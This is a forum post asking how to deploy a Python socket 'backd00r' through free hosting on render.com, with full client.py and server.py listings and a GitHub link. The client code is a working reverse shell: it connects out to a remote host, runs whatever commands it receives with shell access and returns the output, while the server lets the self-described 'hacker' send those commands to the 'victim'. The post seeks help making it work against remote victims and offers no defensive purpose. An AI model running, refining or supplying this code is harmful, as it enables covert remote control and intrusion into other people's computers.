[Python] how to create a backd00r using python library "socket" and free hosting on render.com?

Discussão em 'Python' iniciado por Stack, Maio 1, 2025.

  1. Stack

    Stack Membro Participativo

    I took the code from the Internet, there is a "victim" and a "hacker". The "hacker" runs a server on his computer (server.py), and the victim connects using "client.py". If locally, everything works, but when I try to deploy it on render.com, an error appears: OSError: [Errno 99] Cannot assign requested address

    Below I will provide a link to GitHub, which contains server.py and client.py, please help me make it so that I can bind my computer as a "Hacker" to the remote computer of the "Victim" via render.com

    I tried using different ip, ports, server hostings

    client.py:

    # Imports
    from ctypes.wintypes import INT
    import socket
    import subprocess


    # Setting Up IP/Sockets
    REMOTE_HOST = 'There need any ip, but which?'
    REMOTE_PORT = 8081 # 2222
    FORMAT = 'utf-8'
    client = socket.socket()

    # Initializing Connection
    print("[-] Connection Initiating...")
    client.connect((REMOTE_HOST, REMOTE_PORT))
    print("[-] Connection initiated!")

    # Runtime Loop
    while True:
    print("[-] Awaiting commands...")
    command = client.recv(1024)
    command = command.decode(FORMAT, errors='ignore')
    op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    output = op.stdout.read()
    output_error = op.stderr.read()
    print("[-] Sending response...")
    client.send(output + output_error)


    server.py:

    # Imports
    import socket

    # Creating Listening Port
    HOST = '0.0.0.0' # '192.168.43.82'
    PORT = 10000 # 2222
    FORMAT = 'utf-8'

    server = socket.socket()
    server.bind((HOST, PORT))

    # Starting Server
    print('[+] Server Started')
    print('[+] Listening For Client Connection ...')
    server.listen(1)
    client, client_addr = server.accept()
    print(f'[+] {client_addr} Client connected to the server')

    # Reciving Commands
    while True:
    command = input('Enter Command : ')
    command = command.encode(FORMAT, errors='ignore')
    client.send(command)
    print('[+] Command sent')
    output = client.recv(1024)
    output = output.decode(FORMAT, errors='ignore')
    print(f"Output: {output}")

    Github:
    https://github.com/SY-DIE/vir/tree/main

    Continue reading...

Compartilhe esta Página